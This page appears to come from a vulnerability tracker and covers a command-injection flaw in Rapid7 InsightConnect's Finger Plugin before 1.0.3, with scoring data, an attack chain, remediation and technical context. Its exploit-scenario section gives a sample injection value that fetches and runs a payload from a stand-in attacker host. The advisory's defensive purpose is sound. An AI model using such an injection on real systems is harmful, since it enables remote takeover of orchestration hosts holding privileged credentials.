EUVD-2026-39159
GHSA-p5pq-c6vw-g6xp
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate with low-priv InsightConnect account
-
DeliveryInvoke Finger Plugin workflow
-
ExploitInject shell metacharacters via user/host parameter
-
ExecutionShell executes concatenated command
-
ImpactRun arbitrary OS commands on orchestrator host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated InsightConnect account (CVSS PR:L) with the ability to invoke or configure the Finger Plugin and control the user or host parameter values that the plugin passes into shell command construction; the target plugin must be deployed on Linux and running a version below 1.0.3. The limiting factors are: valid authentication to the InsightConnect platform is mandatory (not exploitable by anonymous remote attackers), the Finger Plugin must actually be installed and reachable in a workflow, and the attacker must be able to influence the user/host input fields rather than them being statically defined. No additional user interaction (UI:N) and only low attack complexity (AC:L) are required once authenticated. |
| Impact | Signals are moderately consistent but point to a contained rather than mass-exploitation threat. The CVSS 3.1 base score of 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) reflects network reachability, low complexity, and high impact, but requires existing privileges (PR:L) - an authenticated InsightConnect user who can configure or run the plugin. CISA SSVC scores Exploitation as none, Automatable as no, and Technical Impact as partial, which tempers the raw CVSS: this is not a wormable, unauthenticated internet-facing bug. EPSS is low at 0.73% (50th percentile) and the CVE is not in CISA KEV, consistent with no known active exploitation. The practical risk is an insider or a foothold-holding attacker escalating from authenticated SOAR access to OS command execution on the integration/orchestrator host; because SOAR systems often hold privileged credentials to many downstream systems, the blast radius of that host compromise can be significant even though the entry barrier (valid authenticated access) limits opportunistic attacks. No data conflicts were observed between the CVSS vector and the description; both agree on authenticated, network-delivered exploitation. |
| Exploit ScenarioDerived | An attacker with valid but low-privileged InsightConnect access (or who has compromised such an account) triggers a workflow using the Finger Plugin and supplies a host or user value such as 'victimhost; curl attacker/x | sh', causing the orchestrator host to execute the injected command alongside the finger lookup. Given AV:N and AC:L, no special timing or user interaction is needed; no public proof-of-concept is currently identified, so an attacker would craft the injection from the documented parameter names. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv3 – Jun 29, 2026
OS command injection in Rapid7's InsightConnect Finger Plugin (versions prior to 1.0.3) on Linux lets an authenticated attacker run arbitrary operating-system commands by injecting shell metacharacters into the user or host parameters, which are passed unsanitized into a constructed shell command (CWE-78). Because the plugin executes within the InsightConnect SOAR orchestrator, successful exploitation yields full read/write and availability impact on the host running the plugin. No public exploit is identified at time of analysis, and EPSS estimates only a 0.73% 30-day exploitation probability.
Earlier versions of this analysis (2)
OS command injection in Rapid7's InsightConnect Finger Plugin (versions before 1.0.3) on Linux lets an authenticated user inject arbitrary shell commands through the 'user' or 'host' parameters, which are passed into a shell command without sufficient validation (CWE-78). Successful exploitation yields full command execution in the context of the orchestrator/plugin runtime, with high confidentiality, integrity, and availability impact. There is no public exploit identified at time of analysis and it is not listed in CISA KEV; EPSS sits at a modest 0.73% (50th percentile).
OS command injection in Rapid7 InsightConnect Finger Plugin on Linux exposes the underlying host to arbitrary command execution by authenticated high-privilege platform users. The plugin unsafely constructs shell commands using the user and host parameters without sanitizing shell metacharacters, enabling an attacker with InsightConnect admin credentials to break out of plugin logic into the host OS. No public exploit code and no CISA KEV listing exist at time of analysis; the vulnerability was self-disclosed by Rapid7, suggesting internal discovery prior to exploitation.
RemediationAI
Upgrade the InsightConnect Finger Plugin to version 1.0.3 or later, the vendor-released fixed version per the Rapid7 extension listing (https://extensions.rapid7.com/extension/finger); a patch is available from the vendor. Until the plugin is updated, limit who can configure and execute the Finger Plugin by tightening InsightConnect role-based access so only trusted authenticated operators can supply the user and host parameters, and avoid wiring this plugin into workflows that accept externally-sourced or untrusted input for those fields (trade-off: this disrupts any automation that legitimately feeds dynamic host/user values). If the finger workflow is non-essential, disabling or removing the plugin entirely eliminates the exposure with minimal operational impact, since finger is rarely business-critical. Validate the fix against EUVD-2026-39159 / CVE-2026-8664.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is Rapid7 InsightConnect, a security orchestration, automation and response (SOAR) platform, specifically its Finger Plugin (cpe:2.3:a:rapid7:insightconnect_finger_plugin) which wraps the classic UNIX finger network user-information protocol. The vulnerability is a CWE-78 OS Command Injection: rather than passing the user and host arguments to the finger binary as a safe argument vector, the plugin builds a shell command string by concatenation, so shell metacharacters (semicolon, pipe, command substitution, backticks) in those parameters break out of the intended finger invocation and are interpreted by the underlying Linux shell. This is the canonical anti-pattern of invoking a command interpreter with attacker-influenced input instead of using parameterized exec calls.
Know when Insightconnect Finger Plugin gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Network-reachable SOAR plugin exploitable by any authenticated low-priv user (PR:L) with no interaction; command injection yields full host C/I/A impact.
Primary rating from Vendor (rapid7).
CVSS VectorNVD
Lifecycle Timeline
6DescriptionNVD
OS Command Injection vulnerability in Rapid7 InsightConnect Finger Plugin on Linux allows authenticated attackers to execute arbitrary OS commands via the user or host parameters due to insufficient input validation in shell command construction.
Executive ViewAI
A command-execution vulnerability in Rapid7 InsightConnect's Finger Plugin (versions before 1.0.3) allows authenticated users to compromise Linux systems hosting the SOAR platform, potentially disrupting security automation and enabling lateral movement. Though current 30-day exploitation probability is minimal (0.7%), the vulnerability poses a direct threat to security operations continuity.
Apply vendor patch.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Exploit-DB